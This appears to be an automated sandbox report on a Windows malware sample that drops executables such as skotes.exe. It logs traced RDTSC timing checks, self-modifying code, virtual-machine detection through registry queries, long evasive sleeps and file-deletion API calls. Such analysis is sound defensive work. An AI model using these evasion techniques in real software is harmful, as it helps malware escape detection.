Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250945 second address: 525094B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 525094B second address: 525094F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 525094F second address: 5250983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0A0E689B52h 0x0000000e jmp 00007F099C534117h 0x00000013 test byte ptr [77436968h], 00000002h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov eax, ebx 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250983 second address: 52509A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A79h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52509A0 second address: 52509D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C534111h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F0A0E689B05h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F099C534118h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52509D9 second address: 52509DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52509DF second address: 5250A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 7E17DB83h 0x00000008 jmp 00007F099C534118h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov edx, dword ptr [ebp+0Ch] 0x00000013 jmp 00007F099C534110h 0x00000018 xchg eax, ebx 0x00000019 pushad 0x0000001a mov si, 358Dh 0x0000001e pushfd 0x0000001f jmp 00007F099C53410Ah 0x00000024 sbb esi, 0457E1A8h 0x0000002a jmp 00007F099C53410Bh 0x0000002f popfd 0x00000030 popad 0x00000031 push eax 0x00000032 pushad 0x00000033 mov ax, di 0x00000036 mov ebx, 588B0316h 0x0000003b popad 0x0000003c xchg eax, ebx 0x0000003d jmp 00007F099C53410Dh 0x00000042 xchg eax, ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 push edx 0x00000047 pop eax 0x00000048 jmp 00007F099C53410Fh 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250A68 second address: 5250A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250A6E second address: 5250A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250A72 second address: 5250A81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250A81 second address: 5250A87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250A87 second address: 5250A8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250A8D second address: 5250A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250A91 second address: 5250AAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F099D172A6Fh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250AAB second address: 5250AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250AB1 second address: 5250AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250AB5 second address: 5250AC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+14h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250AC6 second address: 5250ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250ACA second address: 5250AD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250AD0 second address: 5250AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099D172A6Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250AE2 second address: 5250AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099C53410Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+10h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 movzx eax, bx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250B67 second address: 5250B6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250B6B second address: 5250B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250B71 second address: 5250B9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F099D172A77h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250B9E second address: 5250BFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F099C53410Fh 0x00000009 adc ch, 0000004Eh 0x0000000c jmp 00007F099C534119h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F099C534110h 0x00000018 add ax, 9BC8h 0x0000001d jmp 00007F099C53410Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5250BFA second address: 5250C00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: E293B3 second address: E293B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260C1B second address: 5260C3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dl 0x00000005 mov si, CD5Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov cl, bl 0x00000012 jmp 00007F099D172A6Eh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52609AB second address: 52609B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52609B1 second address: 52609D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52609D1 second address: 52609D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52609D5 second address: 52609DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52609DB second address: 52609F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F099C534118h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52609F7 second address: 5260A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F099D172A76h 0x00000011 mov ebp, esp 0x00000013 jmp 00007F099D172A70h 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F099D172A77h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260A4B second address: 5260A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260A51 second address: 5260A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52E073C second address: 52E0760 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F099C534115h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52E0760 second address: 52E0764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52E0764 second address: 52E076A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52D081C second address: 52D083F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 jmp 00007F099D172A79h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260EAF second address: 5260F48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F099C53410Dh 0x0000000b sub esi, 046FD506h 0x00000011 jmp 00007F099C534111h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c mov dl, ADh 0x0000001e push ecx 0x0000001f pushfd 0x00000020 jmp 00007F099C53410Fh 0x00000025 or ah, 0000003Eh 0x00000028 jmp 00007F099C534119h 0x0000002d popfd 0x0000002e pop esi 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 jmp 00007F099C534117h 0x00000036 mov ebp, esp 0x00000038 jmp 00007F099C534116h 0x0000003d pop ebp 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260F48 second address: 5260F4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260F4E second address: 5260F54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 5260F54 second address: 5260F58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52D0C92 second address: 52D0C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52D0C96 second address: 52D0C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52D0C9A second address: 52D0CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52D0CA0 second address: 52D0CFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F099D172A69h 0x0000000e pushad 0x0000000f mov bx, si 0x00000012 jmp 00007F099D172A78h 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F099D172A6Ch 0x00000022 xor esi, 5C17F778h 0x00000028 jmp 00007F099D172A6Bh 0x0000002d popfd 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52D0CFC second address: 52D0D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52D0D01 second address: 52D0D39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e call 00007F099D172A6Fh 0x00000013 mov ecx, 5825F08Fh 0x00000018 pop esi 0x00000019 popad 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f mov ebx, 0C9C0920h 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52D0D39 second address: 52D0DB4 instructions: 0x00000000 rdtsc 0x00000002 call 00007F099C534119h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007F099C534111h 0x00000010 sub ax, 8AD6h 0x00000015 jmp 00007F099C534111h 0x0000001a popfd 0x0000001b popad 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov eax, 5CA88099h 0x00000028 pushfd 0x00000029 jmp 00007F099C534116h 0x0000002e sbb al, 00000028h 0x00000031 jmp 00007F099C53410Bh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: 52D0E14 second address: 52D0E40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 mov cx, 1C19h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d movzx eax, al 0x00000010 jmp 00007F099D172A74h 0x00000015 pop ebp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 mov cx, E343h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE RDTSC instruction interceptor: First address: DF4936 second address: DF499F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F099D172A74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F099D172A6Ch 0x0000000f jmp 00007F099D172A74h 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F099D172A78h 0x0000001d jmp 00007F099D172A75h 0x00000022 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Special instruction interceptor: First address: C6EAD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Special instruction interceptor: First address: E1FA10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Special instruction interceptor: First address: C6E9E7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Special instruction interceptor: First address: C6E9B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Special instruction interceptor: First address: EA9BFC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: CFEAD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: EAFA10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: CFE9E7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: CFE9B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Special instruction interceptor: First address: F39BFC instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Code function: 11_2_052D0DC6 rdtsc 11_2_052D0DC6
Contains long sleeps (>= 3 min)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4557 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3157 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6933 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2909 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Window / User API: threadDelayed 563 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe API coverage: 3.4 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1432 Thread sleep time: -23058430092136925s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6404 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6900 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6684 Thread sleep time: -6456360425798339s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 712 Thread sleep count: 105 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 712 Thread sleep time: -210105s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6872 Thread sleep count: 96 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6872 Thread sleep time: -192096s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5584 Thread sleep count: 563 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5584 Thread sleep time: -16890000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7096 Thread sleep count: 97 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7096 Thread sleep time: -194097s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5752 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6628 Thread sleep count: 91 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6628 Thread sleep time: -182091s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5584 Thread sleep time: -30000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006EDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose, 0_2_006EDBBE
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006BC2A2 FindFirstFileExW, 0_2_006BC2A2
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F68EE FindFirstFileW,FindClose, 0_2_006F68EE
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime, 0_2_006F698F
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006ED076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_006ED076
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006ED3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose, 0_2_006ED3A9
